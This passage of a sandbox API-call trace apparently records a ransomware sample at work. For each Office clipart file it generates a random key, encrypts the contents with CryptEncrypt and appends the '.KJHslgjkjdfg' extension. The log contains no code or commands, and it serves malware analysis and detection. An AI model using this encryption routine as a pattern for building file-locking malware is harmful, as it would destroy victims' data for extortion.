lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0158.378] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00407_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00407_.wmf.kjhslgjkjdfg")) returned 1 [0158.379] CloseHandle (hObject=0x114) returned 1 [0158.379] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x51d5b650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa7f0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD00413_.WMF", cAlternateFileName="")) returned 1 [0158.379] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00413_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0158.381] GetProcessHeap () returned 0x2a0000 [0158.381] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0158.381] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0158.381] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0158.381] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.381] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.381] GetProcessHeap () returned 0x2a0000 [0158.381] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0158.381] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0158.381] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.381] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0158.384] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0158.384] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0158.384] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0158.384] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0158.384] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0158.384] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.384] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.384] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.384] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xa7f0, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xa7f0, lpOverlapped=0x0) returned 1 [0158.386] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xa7f0, dwBufLen=0xa7f0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xa7f0) returned 1 [0158.387] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.387] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xa7f0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xa7f0, lpOverlapped=0x0) returned 1 [0158.387] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.387] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xa8c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.387] SetEndOfFile (hFile=0x114) returned 1 [0158.390] GetProcessHeap () returned 0x2a0000 [0158.390] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0158.390] GetProcessHeap () returned 0x2a0000 [0158.390] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0158.390] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00413_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00413_.wmf.kjhslgjkjdfg")) returned 1 [0158.391] CloseHandle (hObject=0x114) returned 1 [0158.391] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa79c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD00414_.WMF", cAlternateFileName="")) returned 1 [0158.391] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00414_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0158.392] GetProcessHeap () returned 0x2a0000 [0158.392] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0158.392] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0158.392] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0158.392] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0158.394] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.394] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.394] GetProcessHeap () returned 0x2a0000 [0158.394] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0158.394] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0158.394] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.395] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0158.395] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0158.395] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0158.395] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0158.395] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0158.395] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0158.395] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.395] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.395] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.395] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xa79c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xa79c, lpOverlapped=0x0) returned 1 [0158.419] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xa7a0, dwBufLen=0xa7a0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xa7a0) returned 1 [0158.420] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.420] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xa7a0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xa7a0, lpOverlapped=0x0) returned 1 [0158.420] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.421] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xa874, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.421] SetEndOfFile (hFile=0x114) returned 1 [0158.423] GetProcessHeap () returned 0x2a0000 [0158.423] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0158.423] GetProcessHeap () returned 0x2a0000 [0158.423] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0158.423] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00414_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00414_.wmf.kjhslgjkjdfg")) returned 1 [0158.425] CloseHandle (hObject=0x114) returned 1 [0158.425] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba4ecd00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xba4ecd00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x2c8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD00419_.WMF", cAlternateFileName="")) returned 1 [0158.425] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00419_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0158.425] GetProcessHeap () returned 0x2a0000 [0158.425] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0158.425] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0158.425] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0158.425] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0158.428] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.428] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.428] GetProcessHeap () returned 0x2a0000 [0158.428] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0158.429] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0158.429] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.429] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0158.429] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0158.429] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0158.429] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0158.443] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0158.443] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0158.443] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.443] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.443] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.443] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2c8, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x2c8, lpOverlapped=0x0) returned 1 [0158.443] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2d0, dwBufLen=0x2d0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2d0) returned 1 [0158.443] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.443] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2d0, lpOverlapped=0x0) returned 1 [0158.444] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.444] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x3a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.444] SetEndOfFile (hFile=0x114) returned 1 [0158.447] GetProcessHeap () returned 0x2a0000 [0158.447] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0158.447] GetProcessHeap () returned 0x2a0000 [0158.447] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0158.447] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00419_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00419_.wmf.kjhslgjkjdfg")) returned 1 [0158.448] CloseHandle (hObject=0x114) returned 1 [0158.449] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb91da000, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb91da000, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x78c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD00437_.WMF", cAlternateFileName="")) returned 1 [0158.449] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00437_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0158.449] GetProcessHeap () returned 0x2a0000 [0158.449] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0158.450] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0158.450] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0158.450] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0158.515] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.515] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.515] GetProcessHeap () returned 0x2a0000 [0158.515] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0158.515] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0158.515] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.515] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0158.515] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0158.515] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0158.516] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0158.516] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0158.516] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0158.516] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0158.516] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0158.516] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.516] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x78c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x78c, lpOverlapped=0x0) returned 1 [0158.516] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x790, dwBufLen=0x790 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x790) returned 1 [0158.578] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.578] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x790, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x790, lpOverlapped=0x0) returned 1 [0158.578] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0158.578] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x864, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0158.578] SetEndOfFile (hFile=0x114) returned 1 [0158.581] GetProcessHeap () returned 0x2a0000 [0158.581] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0158.581] GetProcessHeap () returned 0x2a0000 [0158.581] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0158.581] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00437_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00437_.wmf.kjhslgjkjdfg")) returned 1 [0158.583] CloseHandle (hObject=0x114) returned 1 [0158.583] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60714670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb88, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DD00448_.WMF", cAlternateFileName="")) returned 1 [0158.583] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00448_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0158.584] GetProcessHeap () returned 0x2a0000 [0158.584] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0158.584] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0158.584] 